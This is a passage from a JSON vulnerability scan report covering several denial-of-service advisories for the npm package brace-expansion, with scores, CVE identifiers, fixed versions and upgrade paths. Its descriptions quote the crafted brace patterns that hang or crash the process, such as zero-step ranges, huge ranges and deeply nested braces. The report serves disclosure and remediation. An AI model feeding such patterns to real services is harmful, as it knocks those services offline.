"sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": 